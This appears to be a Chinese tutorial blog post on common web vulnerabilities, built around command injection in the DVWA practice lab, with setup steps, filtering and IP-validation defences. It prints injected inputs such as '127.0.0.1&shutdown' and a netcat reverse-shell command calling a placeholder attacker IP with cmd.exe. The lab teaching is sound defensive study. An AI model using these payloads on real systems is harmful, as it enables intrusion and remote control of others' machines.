Web网站常见漏洞及防御手段

为什么要攻击Web网站

在互联网中,Web服务数量庞大,且易存在安全漏洞,是渗透测试前期攻击的不二之选

漏洞公开权威组织

OWASP TOP10:每年的一份关于web应用的十大威胁安全报告,会在经过安全专家的测验之后确定十大类对当前web应用威胁最大和被应用最广的漏洞,同时也会对其进行详细的分析威胁所在

准备工作

漏洞靶场之DVWA

DVWA是OWASP官方编写的PHP网站,包含了各种网站常见的漏洞,可以学习攻击及修复方式

搭建流程

1.下载PHP环境

Windows + Apache + Mysql + Php

# 1.下载并安装PHPstudy 
http://public.xp.cn/upgrades/PhpStudy2018.zip

# 2. 将下面下载DVWA源代码步骤中的,解压后的DVWA源代码放置phpstudy安装目录的WWW文件夹中
# 3. 进入DVWA.config目录,将config.inc.php.dist文件名的.dist删掉
# 4. 打开刚刚重命名的config.inc.php,修改db_user和db_password  改为真实数据库用户名和密码,phpstudy默认是root,root
# 5. 浏览器访问http://127.0.0.1/DVWA/setup.php,点击最下方的Create Database
# 6. 浏览器访问http://127.0.0.1/DVWA/ 输入默认用户名admin,默认密码password 登录DVWA

2.下载DVWA源代码

https://github.com/digininja/DVWA/archive/master.zip

Web常见漏洞有哪些

SQL注入

泄露破坏数据库,数据库中可能有账号密码等敏感信息

命令注入(Command Injection)

获取目标机器命令权限,执行非法命令,破坏或控制受害机

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器,防火墙,入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后后台会对该IP进行一次ping测试并返回测试结果,如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,让后台进行执行,从而获得后台服务器权限

如何通过命令执行攻击网站

# 首先学习一下命令连接符
cmd1|cmd2:无论cmd1是否执行成功,cmd2都将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2都将被执行
cmd1&cmd2:无论cmd1是否执行成功,cmd2都将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:金在cmd1执行成功时才执行cmd2

# 常见的windows CMD命令
whoami               # 查看当前用户名
ipconfig			# 查看网卡信息
shutdown -s -t 0	 # 立刻关机,-s shutdown  -t 多少时间后执行关机
net user [username] [password] /add  # 添加一个用户名为username密码为password的新用户 
type [file_name]                     # 查看filename的内容

# 如上图中,
1. 输入127.0.0.1&whoami,此时受害机会执行两条命令,首先执行命令ping 127.0.0.1,然后执行命令whoami,我们就会得到whoami的命令执行结果,

2. 输入127.0.0.1&shutdown,此时受害机会执行两条命令,首先执行命令ping 127.0.0.1,然后执行命令shutdown,此时受害机会关机

如何用DVWA进行命令注入

首先将安全模式调为低级

打开DVWA,执行命令注入

为何会出现命令注入漏洞

点击查看网站的源代码

查看网站执行命令的源代码写法就会发现,并未对特殊字符做过滤操作

如何防御命令注入

一般防御手段

将DVWA的安全模式调到中级,再查看源码

将|,;,&,||,&&这些符号替换成空,或判断用户输入这些符号就终止执行之后的逻辑

但是如果有空格,还是无法过滤,所以页需要将命令中的空格如python,通过strip来删除

绝对防御手段

下图是对命令注入的绝对防御手段

算法逻辑

1.stripslashes  去除用户输入的反斜杠\
2.explode 把用户输入的数据根据. 分开,比如输入127.0.0.1会被分为4个部分,分别是127 0 0 1
3.分别判断分成的四个部分是不是数字,并且分割后的数组中元素个数是不是4,如果有不是数字的,或者元素个数不是4则直接不允许访问
4.把验证完是数字的四个数据再用.拼接起来,变成正常的IP:127.0.0.1

如何在攻击机中拿到受害机的cmd

打开攻击机,输入如下命令

# 利用反弹端口,6666,一旦受害机执行了对应的命令,攻击机立马得到对方的cmd
nc -lvvp 6666

受害机输入如下命令

ping 127.0.0.1 & nc 攻击机IP 6666 -e cmd.exe

文件上传

上传后门病毒木马到网站中,破坏网站甚至系统

XSS

反序列化

文件包含

CSRF

信息泄露

XXE

SSRF

未授权访问

等等

posted @ 2023-08-09 14:45  河图s  阅读(125)  评论(0)    收藏  举报